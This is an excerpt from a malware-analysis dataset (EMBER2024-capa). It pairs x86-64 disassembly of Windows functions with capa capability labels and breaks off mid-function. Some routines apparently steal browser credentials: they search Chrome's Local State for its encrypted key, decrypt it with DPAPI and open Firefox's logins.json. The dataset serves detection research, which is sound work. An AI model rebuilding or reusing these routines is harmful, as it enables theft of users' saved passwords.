joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18008db40
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rcx, qword [0x18012ba08]
mov r15, rdx
inc rcx
mov byte [0x180132f80], 0
call fcn.1800ceb50
cmp qword [0x18012ba10], 0x10
lea r8, [0x18012b9f8]
mov rdx, rax
cmovae r8, qword [0x18012b9f8]
sub rdx, r8
nop
movzx ecx, byte [r8]
mov byte [rdx + r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x18008db90
xor ebx, ebx
mov qword [rsp + 0x70], rbp
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov qword [rsp + 0x80], rsi
mov edx, 0x80000000
mov rcx, rax
mov dword [rsp + 0x20], 4
mov qword [rsp + 0x88], rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x18008dc91
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test eax, eax
je 0x18008dc91
mov ecx, edi
call fcn.1800d6a34
mov rbp, rax
test rax, rax
je 0x18008dc1a
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.1800d1640
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, edi
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18008dc91
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.1800d6a34
mov r14, rax
test rax, rax
je 0x18008dc5d
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.1800d1640
test edi, edi
je 0x18008dc91
lea rcx, [rbp + 2]
cmp byte [rcx - 2], 0x6b
jne 0x18008dc88
cmp byte [rcx - 1], 0x65
jne 0x18008dc88
cmp byte [rcx], 0x79
jne 0x18008dc88
cmp byte [rcx + 1], 0x22
jne 0x18008dc88
cmp byte [rcx + 2], 0x3a
jne 0x18008dc88
cmp byte [rcx + 3], 0x22
je 0x18008dcbf
inc ebx
inc rcx
cmp ebx, edi
jb 0x18008dc65
xor eax, eax
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800ce4d0
add rsp, 0x50
pop r15
pop r14
pop rbx
ret
movsxd rdx, ebx
add rdx, 6
movzx ecx, byte [rdx + rbp]
cmp cl, 0x22
je 0x18008dcf0
sub rdx, r14
mov rax, r14
lea r8, [rdx + rbp]
nop dword [rax]
mov byte [rax], cl
lea rax, [rax + 1]
movzx ecx, byte [r8 + rax]
cmp cl, 0x22
jne 0x18008dce0
mov rcx, rbp
call fcn.1800d6a20
mov rdx, r14
lea rcx, [0x180132f80]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [0x180132f80]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, r14
mov dword [r15], eax
call fcn.1800d6a20
mov eax, 1
jmp 0x18008dc93
Function at 0x18008dd30
Capabilities:
Decode data using base64 via dword translation table
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov ecx, edx
mov r15, r8
mov esi, edx
call fcn.1800d6a34
mov r8d, esi
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.1800d1640
xor ebx, ebx
test sil, 3
jne 0x18008de01
xor r8d, r8d
test esi, esi
je 0x18008de01
lea r9, [0x180132f80]
lea r10, [0x180114c00]
movsx rcx, byte [r9]
cmp cl, 0x3d
je 0x18008de01
lea eax, [rcx - 0x2b]
cmp al, 0x4f
ja 0x18008ddff
movzx edx, byte [rcx + r10]
cmp dl, 0xff
je 0x18008ddff
mov eax, r8d
and eax, 3
je 0x18008ddec
sub eax, 1
je 0x18008ddda
sub eax, 1
je 0x18008ddc8
cmp eax, 1
jne 0x18008ddf2
or byte [rbx + rdi], dl
inc ebx
jmp 0x18008ddf2
movzx eax, dl
shr al, 2
and al, 0xf
or byte [rbx + rdi], al
inc ebx
shl dl, 6
jmp 0x18008ddef
movzx eax, dl
shr al, 4
and al, 3
or byte [rbx + rdi], al
inc ebx
shl dl, 4
jmp 0x18008ddef
shl dl, 2
mov byte [rbx + rdi], dl
inc r8d
inc r9
cmp r8d, esi
jb 0x18008dd90
jmp 0x18008de01
xor ebx, ebx
lea r14d, [rbx - 5]
mov ecx, r14d
mov esi, r14d
call fcn.1800d6a34
mov r8d, r14d
xor edx, edx
mov rcx, rax
mov rbp, rax
call fcn.1800d1640
cmp ebx, 5
jbe 0x18008de41
mov rcx, rbp
lea rdx, [rdi + 5]
sub rcx, rdi
nop
movzx eax, byte [rdx]
mov byte [rcx + rdx - 5], al
lea rdx, [rdx + 1]
sub rsi, 1
jne 0x18008de30
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], 0
xor edx, edx
mov dword [rsp + 0x40], r14d
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x18008decd
mov r9d, dword [rsp + 0x50]
test r9d, r9d
je 0x18008deb1
mov r8, qword [rsp + 0x58]
mov rcx, r15
sub r8, r15
mov edx, r9d
nop word [rax + rax]
movzx eax, byte [r8 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x18008dea0
mov rcx, rdi
mov byte [r9 + r15], 0
call fcn.1800d6a20
mov rcx, rbp
call fcn.1800d6a20
mov eax, 1
jmp 0x18008decf
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1800ce4d0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800917b0
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rcx + 0x10]
sub rax, rcx
cmp rax, 0xc
jb 0x1800919ce
cmp qword [rbx + 0x18], 0x10
mov r9, rbx
jb 0x1800917f0
mov r9, qword [rbx]
lea rax, str.logins.json
mov qword [rsp + 0x30], 0xc
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x40]
call fcn.1800c3cb0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.1800c0870
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18009185e
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091859
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800919c8
call fcn.1800ce78c
cmp qword [rbx + 0x18], 0x10
mov rcx, rbx
jb 0x18009186b
mov rcx, qword [rbx]
lea rdx, [0x180116130]
call fcn.1800da3c8
test rax, rax
je 0x180091966
mov rcx, rax
mov qword [rsp + 0x88], rsi
call fcn.1800da458
mov ecx, 0x186a0
call fcn.1800d6a34
cmp qword [rbx + 0x18], 0x10
mov rsi, rax
mov rcx, rbx
jb 0x1800918aa
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 4
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x1800918fb
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov r8d, 0x186a0
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x180091935
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180091930
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800919c2
mov rcx, r8
call fcn.1800ce78c
mov rax, rsi
mov qword [rbx + 0x10], 0
mov rsi, qword [rsp + 0x88]
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1800ce4d0
add rsp, 0x70
pop rbx
ret
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18009199c
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180091997
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800919c8
mov rcx, r8
call fcn.1800ce78c
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1800ce4d0
add rsp, 0x70
pop rbx
ret
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.180088c70
int3
Function at 0x1800ac0f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0x450
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rdi, r8
mov rsi, rcx
mov r8d, 0x400
lea rcx, [rsp + 0x40]
xor edx, edx
mov rbx, r9
call fcn.1800d1640
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
mov dword [rsp + 0x38], 0x400
jb 0x1800ac141
mov rdx, qword [rdi]
lea rax, [rsp + 0x30]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800ac197
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x1800ac172
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebp, ebp
mov qword [rsi + 0x18], 0xf
mov qword [rsi], rbp
lea rax, [rsp + 0x40]
mov qword [rsi + 0x10], rbp
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], bpl
jne 0x1800ac1c0
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.1800c1060
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800ac210
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800ac20b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800ac28a
mov rcx, r8
call fcn.1800ce78c
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x18], 0xf
mov byte [rdi], bpl
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1800ac255
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1800ac250
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800ac28a
mov rcx, r8
call fcn.1800ce78c
mov qword [rbx + 0x10], rbp
mov rax, rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], bpl
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1800ce4d0
mov rbx, qword [rsp + 0x478]
add rsp, 0x450
pop rdi
pop rsi
pop rbp
ret
call fcn.1800dd818
int3
Function at 0x1800af500
Capabilities:
Encrypt data using dpapi

Disassembly:
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdx, qword [0x18012e808]
mov rsi, rcx
mov rcx, qword [0x18012e800]
xor edi, edi
cmp rcx, rdx
jne 0x1800af544
mov qword [rsi], rdi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
jmp 0x1800af6d5
mov qword [rsp + 0xb0], r14
xorps xmm0, xmm0
mov r14, rdx
mov qword [rbp - 0x10], rdi
sub r14, rcx
movdqu xmmword [rbp - 0x20], xmm0
sub r14, 1
je 0x1800af5ba
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x1800af6f5
mov rdx, r14
mov qword [rsp + 0xa8], rbx
lea rcx, [rbp - 0x20]
call fcn.1800c55f0
mov rbx, qword [rbp - 0x20]
mov r8, r14
mov rcx, rbx
xor edx, edx
call fcn.1800d1640
mov rdx, qword [0x18012e808]
lea rax, [rbx + r14]
mov rcx, qword [0x18012e800]
mov rbx, qword [rsp + 0xa8]
mov qword [rbp - 0x18], rax
mov r8d, 1
sub rdx, rcx
sub rdx, r8
je 0x1800af5f1
nop dword [rax + rax]
movzx ecx, byte [rcx + r8]
lea r8, [r8 + 1]
mov rax, qword [rbp - 0x20]
mov byte [rax + r8 - 2], cl
sub rdx, 1
je 0x1800af5f1
mov rcx, qword [0x18012e800]
jmp 0x1800af5d0
mov rax, qword [rbp - 0x20]
xor r9d, r9d
mov ecx, dword [rbp - 0x18]
xor r8d, r8d
sub ecx, eax
mov qword [rbp - 0x28], rax
inc ecx
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rax
xor edx, edx
mov dword [rbp - 0x30], ecx
lea rcx, [rbp - 0x30]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1800af68c
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov qword [rbp - 0x18], rax
cmp dword [rbp - 0x40], edi
jbe 0x1800af67b
nop dword [rax + rax]
mov r8d, edi
add r8, qword [rbp - 0x38]
cmp rcx, qword [rbp - 0x10]
je 0x1800af660
movzx eax, byte [r8]
mov byte [rcx], al
mov rcx, qword [rbp - 0x18]
inc rcx
mov qword [rbp - 0x18], rcx
jmp 0x1800af670
mov rdx, rcx
lea rcx, [rbp - 0x20]
call fcn.1800c1aa0
mov rcx, qword [rbp - 0x18]
inc edi
cmp edi, dword [rbp - 0x40]
jb 0x1800af640
mov rax, qword [rbp - 0x20]
mov qword [rsi], rax
mov rax, qword [rbp - 0x10]
mov qword [rsi + 0x10], rax
mov qword [rsi + 8], rcx
jmp 0x1800af6cd
mov rcx, qword [rbp - 0x20]
mov qword [rsi], rdi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
test rcx, rcx
je 0x1800af6cd
mov rdx, qword [rbp - 0x10]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1800af6c8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af6ef
call fcn.1800ce78c
mov r14, qword [rsp + 0xb0]
mov rax, rsi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1800ce4d0
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
call fcn.1800dd818
int3
call fcn.1800c3aa0
int3
Function at 0x1800af700
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
push rsi
sub rsp, 0x280
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov qword [r11 - 0x10], rbx
mov rbx, r8
mov qword [r11 - 0x20], rdi
mov rsi, rdx
mov qword [r11 - 0x30], r15
mov r15, rcx
cmp r8, r9
je 0x1800af78c
mov rdi, qword [r9 + 8]
mov rax, qword [r8 + 0x10]
mov qword [r11 - 0x18], rbp
mov rbp, qword [r9]
mov qword [r11 - 0x28], r14
sub rdi, rbp
mov r14, qword [r8]
sub rax, r14
cmp rdi, rax
jbe 0x1800af766
mov rdx, rdi
mov rcx, rbx
call fcn.1800c7c10
mov r14, qword [rbx]
mov r8, rdi
mov rdx, rbp
mov rcx, r14
call fcn.1800d1860
mov rbp, qword [rsp + 0x270]
lea rax, [r14 + rdi]
mov r14, qword [rsp + 0x260]
mov qword [rbx + 8], rax
cmp qword [rsi + 0x18], 0x10
mov rdx, rsi
mov dword [rsp + 0x34], 0x200
jb 0x1800af7a1
mov rdx, qword [rsi]
lea rax, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
lea rax, [rsp + 0x40]
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov r15, qword [rsp + 0x258]
test eax, eax
jne 0x1800af814
xor edi, edi
cmp dword [rsp + 0x34], edi
jbe 0x1800af814
nop dword [rax + rax]
mov rdx, qword [rbx + 8]
movzx eax, byte [rsp + rdi + 0x40]
mov byte [rsp + 0x30], al
cmp rdx, qword [rbx + 0x10]
je 0x1800af7fb
mov byte [rdx], al
inc qword [rbx + 8]
jmp 0x1800af808
lea r8, [rsp + 0x30]
mov rcx, rbx
call fcn.1800c1aa0
mov eax, dword [rsp + 0x34]
inc rdi
cmp rdi, rax
jb 0x1800af7e0
mov rdx, qword [rsi + 0x18]
mov rdi, qword [rsp + 0x268]
mov rbx, qword [rsp + 0x278]
cmp rdx, 0x10
jb 0x1800af85a
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1800af855
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800af886
mov rcx, r8
call fcn.1800ce78c
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1800ce4d0
add rsp, 0x280
pop rsi
ret
call fcn.1800dd818
int3
Function at 0x1800b5e20
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xb0
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov rdi, rcx
lea rdx, [0x18012b358]
lea rcx, [rsp + 0x60]
call fcn.1800c0900
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.18008aa40
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.18008d5f0
mov r9, rbx
lea rcx, [rsp + 0x80]
mov r8, rax
call fcn.1800c3ac0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x1800b5ebd
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b5eb8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b6034
call fcn.1800ce78c
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
cmp rdx, 0x10
jb 0x1800b5f11
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b5f0c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b6034
call fcn.1800ce78c
cmp qword [rsp + 0x98], 0x10
lea rcx, [rsp + 0x80]
cmovae rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1800b5f67
test al, 0x10
je 0x1800b5f67
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.1800c0900
lea rdx, [rsp + 0x80]
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.1800c0900
mov rcx, rax
mov rdx, rbx
call fcn.1800b4aa0
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x1800b5faa
mov rcx, qword [rsp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b5fa5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b603a
call fcn.1800ce78c
mov rdx, qword [rdi + 0x18]
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0xf
mov byte [rsp + 0x80], 0
cmp rdx, 0x10
jb 0x1800b6000
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800b5ffb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800b603a
mov rcx, r8
call fcn.1800ce78c
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1800ce4d0
mov rbx, qword [rsp + 0xc8]
add rsp, 0xb0
pop rdi
ret
call fcn.1800dd818
int3
call fcn.1800dd818
int3
Function at 0x1800c2520
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x1800c2554
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1800c2540
ret
Function at 0x1800e6ca0
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1800e6cc0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1800dc9b4
or eax, 0xffffffff
jmp 0x1800e6cc2
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800e8400
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x1800e83dd
call fcn.1800dca24
mov dword [rax], 0x16
call fcn.1800dd7f8
or eax, 0xffffffff
jmp 0x1800e83fa
sub dword [rcx + 0x10], 1
jns 0x1800e83ec
add rsp, 0x28
jmp 0x1800f2f40
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x1800e83bc
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdi, rcx
test rcx, rcx
jne 0x1800f2f72
call fcn.1800dca24
mov dword [rax], 0x16
call fcn.1800dd7f8
jmp 0x1800f308f
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1800f308f
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1800f308f
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1800f2fa1
lock or dword [rcx + 0x14], 0x10
jmp 0x1800f308f
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1800f2fb5
call fcn.1800f5cbc
mov rbx, qword [rdi + 8]
mov rcx, rdi
mov qword [rdi], rbx
call fcn.1800e6930
mov r8d, dword [rdi + 0x20]
mov ecx, eax
mov rdx, rbx
call fcn.1800f4d00
mov dword [rdi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x1800f307d
mov eax, dword [rdi + 0x14]
or esi, 0xffffffff
test al, 6
jne 0x1800f3048
mov rcx, rdi
call fcn.1800e6930
cmp eax, esi
je 0x1800f3033
mov rcx, rdi
call fcn.1800e6930
cmp eax, 0xfffffffe
je 0x1800f3033
mov rcx, rdi
call fcn.1800e6930
movsxd rbx, eax
lea r14, [0x18012d5b0]
mov rcx, rdi
sar rbx, 6
call fcn.1800e6930
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x1800f303a
lea rdx, [0x180128570]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1800f3048
lock or dword [rdi + 0x14], 0x20
cmp dword [rdi + 0x20], 0x200
jne 0x1800f306c
mov eax, dword [rdi + 0x14]
shr eax, 6
test al, 1
je 0x1800f306c
mov eax, dword [rdi + 0x14]
shr eax, 8
test al, 1
jne 0x1800f306c
mov dword [rdi + 0x20], 0x1000
mov rax, qword [rdi]
add dword [rdi + 0x10], esi
movzx esi, byte [rax]
inc rax
mov qword [rdi], rax
jmp 0x1800f3092
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rdi + 0x14], eax
and dword [rdi + 0x10], 0
or esi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, esi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140002050
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rdi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov r9, rcx
movabs rbp, 0xc2b2ae3d27d4eb4f
movabs rsi, 0x9e3779b185ebca87
movabs r14, 0x27d4eb2f165667c5
movabs r15, 0x7a1435883d4d519d
cmp rdi, 0x20
jb 0x140002149
mov r8, qword [r9 + 0x18]
mov rdx, qword [rcx + 8]
mov rax, r8
mov r9, qword [r9 + 0x20]
mov rcx, qword [rcx + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rcx
rol rax, 7
add r10, rax
mov rax, rdx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rdx, rbp
imul rcx, rbp
imul r8, rbp
imul r9, rbp
rol rdx, 0x1f
imul rdx, rsi
rol rcx, 0x1f
xor r10, rdx
rol r8, 0x1f
imul r10, rsi
imul rcx, rsi
imul r8, rsi
sub r10, r15
rol r9, 0x1f
xor r10, rcx
imul r10, rsi
imul r9, rsi
sub r10, r15
xor r10, r8
imul r10, rsi
sub r10, r15
xor r10, r9
imul r10, rsi
add rax, r10
add rax, rdi
jmp 0x140002151
lea rax, [rdi + r14]
add rax, qword [rcx + 0x18]
lea rdx, [r11 + 8]
cmp rdx, rbx
ja 0x14000218a
nop word [rax + rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, rbp
add r11, 8
rol rcx, 0x1f
imul rcx, rsi
xor rax, rcx
rol rax, 0x1b
imul rax, rsi
sub rax, r15
cmp rdx, rbx
jbe 0x140002160
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400021b5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rsi
xor rax, rcx
rol rax, 0x17
imul rax, rbp
add rax, r8
cmp r11, rbx
jae 0x1400021db
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r14
xor rax, rcx
rol rax, 0xb
imul rax, rsi
cmp r11, rbx
jb 0x1400021c0
mov rbx, qword [rsp + 0x18]
mov rcx, rax
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
shr rcx, 0x21
xor rcx, rax
imul rcx, rbp
mov rbp, qword [rsp + 0x20]
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
ret

Function at 0x14000fa84
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000faf3
xor ecx, ecx
push rdx
call 0x143579461
test rax, rax
je 0x14000faf3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000faf3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000faf3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000faf3
cmp dword [rcx + 0x84], 0xe
jbe 0x14000faf3
cmp dword [rcx + 0xf8], 0
je 0x14000faf3
mov ecx, ebx
call fcn.14000fba4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f980
nop
cmp dword [rbp + 0x20], 0
je 0x14000fb41
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000fb4c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000fa84
Function at 0x14000fc88
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
